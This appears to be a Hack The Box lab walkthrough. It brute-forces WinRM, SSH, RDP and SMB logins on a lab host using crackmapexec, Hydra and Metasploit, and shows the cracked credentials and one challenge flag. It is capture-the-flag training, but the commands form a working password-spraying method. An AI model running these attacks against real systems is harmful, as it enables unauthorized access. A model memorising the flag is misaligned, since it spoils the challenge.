Questions

Question 1

Find the user for the WinRM service and crack their password. Then, when you log in, you will find the flag in a file there. Submit the flag you found as the answer.

1. nmap scan

Not shown: 993 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
111/tcp  open  rpcbind
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2049/tcp open  nfs
3389/tcp open  ms-wbt-server

1. winrm bruteforce

┌──(root㉿kali)-[/home/kali/Downloads]
└─# crackmapexec winrm 10.129.91.93 -u username.list -p password.list            
SMB         10.129.91.93    5985   WINSRV           [*] Windows 10 / Server 2019 Build 17763 (name:WINSRV) (domain:WINSRV)
HTTP        10.129.91.93    5985   WINSRV           [*] http://10.129.91.93:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.91.93    5985   WINSRV           [-] WINSRV\john:123456
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.91.93    5985   WINSRV           [-] WINSRV\john:12345
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.91.93    5985   WINSRV           [-] WINSRV\john:123456789
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.91.93    5985   WINSRV           [-] WINSRV\john:batman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.91.93    5985   WINSRV           [-] WINSRV\john:password
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.91.93    5985   WINSRV           [-] WINSRV\john:iloveyou
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.91.93    5985   WINSRV           [-] WINSRV\john:princess
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
  arc4 = algorithms.ARC4(self._key)
WINRM       10.129.91.93    5985   WINSRV           [+] WINSRV\john:november (Pwn3d!)

1. Login with Evil-winrm

evil-winrm -i ipaddress -u username -p password

1. Navigate to

C:\Users\john\Desktop\f

1. Find the flag there:

type flag.txt

Question 2

1. Bruteforce SSH login with Hydra

hydra -L username.list -P password.list ssh://ip_address

┌──(root㉿kali)-[/home/kali/Downloads]
└─# hydra -L username.list -P password.list ssh://10.129.91.93
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-19 06:44:03
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 21112 login tries (l:104/p:203), ~1320 tries per task
[DATA] attacking ssh://10.129.91.93:22/
[22][ssh] host: 10.129.91.93   login: dennis   password: rockstar
[STATUS] 1009.00 tries/min, 1009 tries in 00:01h, 20105 to do in 00:20h, 14 active

1. Connect to SSH

ssh dennis@ip_address -P rockstar

1. got access

Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

dennis@WINSRV C:\Users\dennis>

1. Find flag

dennis@WINSRV C:\Users\dennis> dir C:\flag.txt /s /p 
 Volume in drive C has no label. 
 Volume Serial Number is 2683-3D37

 Directory of C:\Users\dennis\Desktop 

01/05/2022  09:39 AM                15 flag.txt
               1 File(s)             15 bytes

1. Found

dennis@WINSRV C:\Users\dennis> cd Desktop 

dennis@WINSRV C:\Users\dennis\Desktop>dir 
 Volume in drive C has no label. 
 Volume Serial Number is 2683-3D37

 Directory of C:\Users\dennis\Desktop

01/05/2022  09:16 AM    <DIR>          .
01/05/2022  09:16 AM    <DIR>          ..
01/05/2022  09:39 AM                15 flag.txt
               1 File(s)             15 bytes
               2 Dir(s)  26,292,985,856 bytes free

dennis@WINSRV C:\Users\dennis\Desktop>type flag.txt 
HTB{Let5R0ck1t}

Question 3

1. Crack the SMB service credential

hydra -L username.list -P password.list rdp://ip_address

chris:789456123

1. Authenticate on service

┌──(root㉿kali)-[/home/kali/Downloads]
└─# xfreerdp3 /v:10.129.91.93 /u:chris /p:789456123

Question 4

1. Bruteforce the password

hydra -L username.list -P password.list smb://ip_address

We get an error

┌──(root㉿kali)-[/home/kali/Downloads]
└─# hydra -L username.list -P password.list smb://10.129.91.93
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2025-04-19 07:04:19
[INFO] Reduced number of tasks to 1 (smb does not like parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 1 task per 1 server, overall 1 task, 21112 login tries (l:104/p:203), ~21112 tries per task
[DATA] attacking smb://10.129.91.93:445/
[ERROR] invalid reply from target smb://10.129.91.93:445/

1. Lets try with Metasploit SMB Login

msfconsole -q 

┌──(root㉿kali)-[/home/kali/Downloads]
└─# msfconsole -q
msf6 > search SMB Login

Matching Modules
================

   #   Name                                                Disclosure Date  Rank       Check  Description
   -   ----                                                ---------------  ----       -----  -----------
   0   exploit/windows/smb/ms04_007_killbill               2004-02-10       low        No     MS04-007 Microsoft ASN.1 Library Bitstring Heap Overflow
   1   exploit/windows/smb/smb_relay                       2001-03-31       excellent  No     MS08-068 Microsoft Windows SMB Relay Code Execution
   2     \_ action: CREATE_SMB_SESSION                     .                .          .      Do not close the SMB connection after relaying, and instead create an SMB session
   3     \_ action: PSEXEC                                 .                .          .      Use the SMB Connection to run the exploit/windows/psexec module against the relay target
   4     \_ target: Automatic                              .                .          .      .
   5     \_ target: PowerShell                             .                .          .      .
   6     \_ target: Native upload                          .                .          .      .
   7     \_ target: MOF upload                             .                .          .      .
   8     \_ target: Command                                .                .          .      .
   9   exploit/windows/smb/ms17_010_eternalblue            2017-03-14       average    Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   10    \_ target: Automatic Target                       .                .          .      .
   11    \_ target: Windows 7                              .                .          .      .
   12    \_ target: Windows Embedded Standard 7            .                .          .      .
   13    \_ target: Windows Server 2008 R2                 .                .          .      .
   14    \_ target: Windows 8                              .                .          .      .
   15    \_ target: Windows 8.1                            .                .          .      .
   16    \_ target: Windows Server 2012                    .                .          .      .
   17    \_ target: Windows 10 Pro                         .                .          .      .
   18    \_ target: Windows 10 Enterprise Evaluation       .                .          .      .
   19  exploit/windows/smb/smb_shadow                      2021-02-16       manual     No     Microsoft Windows SMB Direct Session Takeover
   20  auxiliary/scanner/smb/smb_login                     .                normal     No     SMB Login Check Scanner
   21  auxiliary/fuzzers/smb/smb_ntlm1_login_corrupt       .                normal     No     SMB NTLMv1 Login Request Corruption
   22  exploit/multi/http/pgadmin_session_deserialization  2024-03-04       excellent  Yes    pgAdmin Session Deserialization RCE


Interact with a module by name or index. For example info 22, use 22 or use exploit/multi/http/pgadmin_session_deserialization

msf6 > use 20

msf6 auxiliary(scanner/smb/smb_login) > set PASS_FILE password.list
PASS_FILE => password.list
msf6 auxiliary(scanner/smb/smb_login) > set USER_FILE username.list 
USER_FILE => username.list
msf6 auxiliary(scanner/smb/smb_login) > set RHOSTS 10.129.91.93
RHOSTS => 10.129.91.93
msf6 auxiliary(scanner/smb/smb_login) > run

[+] 10.129.91.93:445      - 10.129.91.93:445 - Success: 
'.\cassie:12345678910'

1. Accessing SMB File Shares

                                                                                                                                     
┌──(root㉿kali)-[/home/kali/Downloads]
└─# smbclient -U cassie -L \\\\10.129.91.93\\

Password for [WORKGROUP\cassie]:

        Sharename       Type      Comment
        ---------       ----      -------
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
        CASSIE          Disk      
        IPC$            IPC       Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.91.93 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
                                                                                                                                     
┌──(root㉿kali)-[/home/kali/Downloads]
└─# smbclient -U cassie \\\\10.129.91.93\\CASSIE  

Password for [WORKGROUP\cassie]:
Try "help" to get a list of possible commands.
smb: \> help
?              allinfo        altname        archive        backup         
blocksize      cancel         case_sensitive cd             chmod          
chown          close          del            deltree        dir            
du             echo           exit           get            getfacl        
geteas         hardlink       help           history        iosize         
lcd            link           lock           lowercase      ls             
l              mask           md             mget           mkdir          
mkfifo         more           mput           newer          notify         
open           posix          posix_encrypt  posix_open     posix_mkdir    
posix_rmdir    posix_unlink   posix_whoami   print          prompt         
put            pwd            q              queue          quit           
readlink       rd             recurse        reget          rename         
reput          rm             rmdir          showacls       setea          
setmode        scopy          stat           symlink        tar            
tarmode        timeout        translate      unlock         volume         
vuid           wdel           logon          listconnect    showconnect    
tcon           tdis           tid            utimes         logoff         
..             !              
smb: \> ls
  .                                  DR        0  Sat Apr 19 06:27:37 2025
  ..                                 DR        0  Sat Apr 19 06:27:37 2025
  desktop.ini                       AHS      282  Thu Jan  6 09:44:52 2022
  flag.txt                            A       16  Thu Jan  6 09:46:14 2022
  uKDFSxqTZk                          D        0  Sat Apr 19 06:27:37 2025clo

                10328063 blocks of size 4096. 6410885 blocks available
smb: \>  get flag.txt
getting file \flag.txt of size 16 as flag.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)